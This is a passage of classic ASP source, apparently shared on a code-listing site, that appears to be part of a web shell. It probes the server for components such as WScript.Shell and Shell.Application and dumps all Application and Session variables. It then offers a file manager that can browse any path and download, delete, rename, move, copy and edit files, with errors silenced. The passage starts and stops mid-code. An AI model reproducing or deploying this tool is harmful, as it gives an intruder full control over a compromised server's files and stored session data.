?? mybased.asp
字號:
Dim x, objTmp, theObj, strObj
If isDebugMode = False Then On Error Resume Next
strObj = Trim(getPost("TheObj"))
aryObj(0) = "MSWC.AdRotator|廣告輪換組件"
aryObj(1) = "MSWC.BrowserType|瀏覽器信息組件"
aryObj(2) = "MSWC.NextLink|內容鏈接庫組件"
aryObj(3) = "MSWC.Tools|"
aryObj(4) = "MSWC.Status|"
aryObj(5) = "MSWC.Counters|計數器組件"
aryObj(6) = "MSWC.PermissionChecker|權限檢測組件"
aryObj(7) = "Adodb.Connection|ADO 數據對象組件"
aryObj(8) = "CDONTS.NewMail|虛擬 SMTP 發信組件"
aryObj(9) = "Scripting.FileSystemObject|FSO組件"
aryObj(10) = "Adodb.Stream|Stream 流組件"
aryObj(11) = "Shell.Application|"
aryObj(12) = "WScript.Shell|"
aryObj(13) = "Wscript.Network|"
aryObj(14) = "ADOX.Catalog|"
aryObj(15) = "JMail.SmtpMail|JMail 郵件收發組件"
aryObj(16) = "Persits.Upload.1|ASPUpload 文件上傳組件"
aryObj(17) = "LyfUpload.UploadFile|劉云峰的文件上傳組件組件"
aryObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上傳組件"
aryObj(19) = strObj & "|您所要檢測的組件"
echo "<br/>"
echo "<table width=750 border=1>"
echo "<tr>"
echo "<td colspan=3 class=td><font face=webdings>8</font> 服務器組件信息"
echo "<label id=服務器組件信息 onclick=showSingleTable(this) style='font-family:webdings;cursor:hand;' title=單獨顯示此項>2</label>"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=3 class=trHead> </td>"
echo "</tr>"
echo "<tr class=td>"
echo "<td> 組件<font color=#666666>(描述)</font></td>"
echo "<td width=10% align=center>支持</td>"
echo "<td width=15% align=center>版本</td>"
echo "</tr>"
For Each x In aryObj
theObj = Split(x, "|")
If theObj(0) = "" Then Exit For
Set objTmp = Server.CreateObject(theObj(0))
If Err <> -2147221005 Then
x = x & "|√|"
x = x & objTmp.Version
Else
x = x & "|<font color=red>×</font>|"
End If
If Err Then Err.Clear
Set objTmp = Nothing
theObj = Split(x, "|")
theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
echo "<tr>"
echo "<td> "&theObj(1)&"</td>"
echo "<td align=center>"&theObj(2)&"</td>"
echo "<td align=center>"&theObj(3)&"</td>"
echo "</tr>"
Next
echo "<form method=post action='" & url & "'>"
echo "<input type=hidden name=PageName value=PageCheck>"
echo "<tr>"
echo "<td colspan=3> 其它組件檢測:"
echo "<input name=TheObj type=text id=TheObj style='width:585px;' value="&strObj&">"
echo "<input type=submit name=Submit value= 提交 ></td>"
echo "</tr>"
echo "</form>"
echo "<tr>"
echo "<td colspan=3 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=3 class=td> </td>"
echo "</tr>"
echo "</table>"
End Sub
Sub GetAppOrSession(theAct)
Dim x, y
If isDebugMode = False Then On Error Resume Next
echo "<br/>"
echo "<table width=750 border=1 class=fixTable>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> Application/Session 察看"
echo "<label id=Application/Session 察看 onclick=showSingleTable(this) style='font-family:webdings;cursor:hand;' title=單獨顯示此項>2</label>"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr class=td>"
echo "<td width='20%'> 變量</td>"
echo "<td> 值</td>"
echo "</tr>"
If theAct = "app" Then
For Each x In Application.Contents
echo "<tr><td valign=top>"
echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
echo "</td><td style='padding-left:7px;'><span>"
If IsArray(Application(x)) = True Then
For Each y In Application(x)
echo "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
Next
Else
echo Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
End If
echo "</span></td></tr>"
Next
End If
If theAct = "session" Then
For Each x In Session.Contents
echo "<tr><td valign=top>"
echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
echo "</td><td style='padding-left:7px;'><span>"
echo Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
echo "</span></td></tr>"
Next
End If
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td> </td>"
echo "</tr>"
echo "</table>"
End Sub
Sub PageFso()
ShowTitle("FSO文件瀏覽操作器")
Select Case theAct
Case "rename"
RenOne()
Case "download"
DownTheFile()
Response.End()
Case "del"
DelOne()
Case "newone"
NewOne()
Case "saveas"
SaveAs()
Case "save"
SaveToFile()
' AlertThenClose("文件修改成功!")
ShowEdit()
Response.End()
Case "showedit"
ShowEdit()
Response.End()
Case "copy", "move"
MoveCopyOne()
End Select
If theAct <> "" Then thePath = GetPost("truePath")
FsoFileExplorer()
End Sub
Sub FsoFileExplorer()
Dim objX, theFolder, folderId, extName, parentFolderName
Dim strPath
If isDebugMode = False Then On Error Resume Next
If thePath = "" Then thePath = rootPathB
strPath = thePath
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目錄不存在或者不允許訪問!")
End If
Set theFolder = fso.GetFolder(strPath)
parentFolderName = fso.GetParentFolderName(strPath)
echo "<table width=750 border=1>"
echo "<form method=post action='" & url & "'>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> FSO文件瀏覽操作器"
echo "</tr>"
echo "<tr><td colspan=2 class=trHead> </td></tr>"
echo "<tr>"
echo "<td colspan=2> "
echo "路徑: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
echo "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
echo " <input type=button value='提交' onclick=Command('submit');>"
echo " <input type=button value=上傳 onclick=Command('upload')>"
echo "</td>"
echo "</tr>"
echo "<tr><td colspan=2 class=trHead> </td></tr>"
echo "<tr><td valign=top>"
echo "<input type=hidden name=theAct>"
echo "<input type=hidden name=param>"
echo "<input type=hidden value=PageFso name=PageName>"
echo "<table width='99%' align=center>"
echo "<tr><td colspan=4 class=trHead> </td></tr><tr class=td><td>"
If parentFolderName <> "" Then
folderId = Replace(parentFolderName, "\", "\\")
echo " <a href=""javascript:changeThePath("" & folderId & "");"">↑回上級目錄</a>"
End If
echo "</td><td align=center width=80>大小</td>"
echo "<td align=center width=140>最后修改</td><td align=center>操作</td></tr>"
For Each objX In theFolder.SubFolders
folderId = Replace(objX.Path, "\", "\\")
echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>■</font>"
echo "<span class=fixSpan style='width:180;'>"
echo "<a href=""javascript:changeThePath("" & folderId & "");"">"& objX.Name & "</a></span>"
echo "</td>"
echo "<td align=center>-</td>"
echo "<td align=center>" & objX.DateLastModified & "</td><td>"
echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
echo "<input type=button onclick=""Command("rename","" & objX.Name & "");"" value='Ren' title=重命名>"
echo "<input type=button value='SaveAs' title=另存為 onclick=""Command("saveas","" & Replace(objX.Path, "\", "\\") & "")"">"
echo "</td></tr>"
Next
For Each objX In theFolder.Files
If InStr(objX.Path, rootPathB) > 0 Then
folderId = Replace(UrlEncode(Mid(objX.Path, Len(rootPathB) + 1)), "%2E", ".")
Else
folderId = "javascript:;"
End If
echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>□</font>"
echo "<span class=fixSpan style='width:180;'>"
echo "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>"
echo "" & objX.Name & "</a>"
echo "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
echo "<td align=center>" & objX.DateLastModified & "</td><td>"
echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
extName = LCase(fso.GetExtensionName(objX.Path))
If InStr(editableFileExt, "$" & extName & "$") > 0 Then
echo "<input type=button value='Edit' title=編輯 onclick=""Command('showedit',"" & objX.Name & "");"">"
End If
If extName = "mdb" Then
echo "<input type=button value='Access' title=數據庫操作 onclick=Command('access',""" & objX.Name & """)>"
End If
echo "<input type=button value='D' title=下載 onclick=""Command('download',"" & objX.Name & "")"">"
echo "<input type=button value='Ren' title=重命名 onclick=""Command('rename',"" & objX.Name & "")"">"
echo "<input type=button value='S' title=另存為 onclick=""Command('saveas',"" & Replace(objX.Path, "\", "\\") & "")"">"
echo "</td></tr>"
Next
echo "<tr class=td><td colspan=3></td>"
echo "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
echo "<input type=button value='Delete' onclick=Command('del')>"
echo "<input type=button value='Pack' title=打包選中文件(夾) onclick=Command('pack')>"
echo "</td></tr></table>"
echo "</td><td width='20%' valign=top align=center>"
echo "<input type=button value=刷新 onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
echo "<input type=button value=新建文件 onclick=Command('newone','file')><br/>"
echo "<input type=button value=新建文件夾 onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
echo "移動選中文件(夾)到<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='移動' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
echo "復制選中文件(夾)到<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='復制' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
echo "</td></tr><tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td> </td>"
echo "</tr>"
echo "</form>"
echo "</table>"
Set theFolder = Nothing
End Sub
Sub RenOne()
Dim objX, strPath, aryParam, isFile, isFolder
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\"
aryParam(0) = strPath & aryParam(0)
isFile = fso.FileExists(aryParam(0))
isFolder = fso.FolderExists(aryParam(0))
If isFile = False And isFolder = False Then
ShowErr("文件(夾)不存在或者不允許訪問!")
End If
If isFile = False Then
Set objX = fso.GetFolder(aryParam(0))
objX.Name = aryParam(1)
Else
Set objX = fso.GetFile(aryParam(0))
objX.Name = aryParam(1)
End If
Set objX = Nothing
ChkErr(Err)
End Sub
Sub DownTheFile()
Response.Clear
Dim stream, strPath, fileContentType
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(strPath)
chkErr(Err)
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "Application/Octet-Stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
Sub DelOne()
Dim objX, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
If fso.FolderExists(strPath & objX) = True Then
Call fso.DeleteFolder(strPath & objX, True)
ChkErr(Err)
Else
If fso.FileExists(strPath & objX) = True Then
Call fso.DeleteFile(strPath & objX, True)
ChkErr(Err)
End If
End If
Next
End Sub
Sub MoveCopyOne()
Dim objX, strPath, strMoveTo, strCopyTo
If isDebugMode = False Then On Error Resume Next
strMoveTo = GetPost("MoveTo")
strCopyTo = GetPost("CopyTo")
strPath = GetPost("truePath") & "\"
If theAct = "move" Then
strMoveTo = strMoveTo & "\"
Else
strCopyTo = strCopyTo & "\"
End If
For Each objX In Request.Form("checkBox")
If theAct = "move" Then
If InStr(strMoveTo, strPath & objX) > 0 Then
ShowErr("目標文件夾不能在源文件夾內")
End If
If fso.FileExists(strPath & objX) = True Then
Call fso.MoveFile(strPath & objX, strMoveTo & objX)
Else
Call fso.MoveFolder(strPath & objX, strMoveTo & objX)
End If
Else
If InStr(strCopyTo, strPath & objX) > 0 Then
ShowErr("目標文件夾不能在源文件夾內")
End If
If fso.FileExists(strPath & objX) = True Then
Call fso.CopyFile(strPath & objX, strCopyTo & objX)
Else
Call fso.CopyFolder(strPath & objX, strCopyTo & objX)
End If
End If
ChkErr(Err)
Next
End Sub
Sub NewOne()
Dim objX, strPath, aryParam
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\" & aryParam(0)
If aryParam(1) = "file" Then
Call fso.CreateTextFile(strPath, False)
Else
fso.CreateFolder(strPath)
End If
End Sub
Sub ShowEdit()
Dim theFile, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1)
Set theFile = fso.OpenTextFile(strPath, 1, False)
ChkErr(Err)
echo "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>"
echo "<tr>"
echo "<td class=td><font face=webdings>8</font> FSO文本編輯器</td>"
echo "</tr>"
echo "<tr>"
echo "<td class=trHead> </td>"
echo "</tr>"
echo "<form method=post action=" & url & ">"
echo "<input type=hidden name=theAct>"
echo "<input type=hidden value=PageFso name=PageName>"
echo "<tr>"
echo "<td height=22> <input name=truePath value=" & strPath & " style=width:500px;>"
echo "<input type=submit value=查看 onClick=this.form.theAct.value='showedit';></td>"
echo "</tr>"
echo "<tr>"
echo "<td> <textarea name=fileContent style='width:735px;height:100%;'>"
echo HtmlEncode(theFile.ReadAll())
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -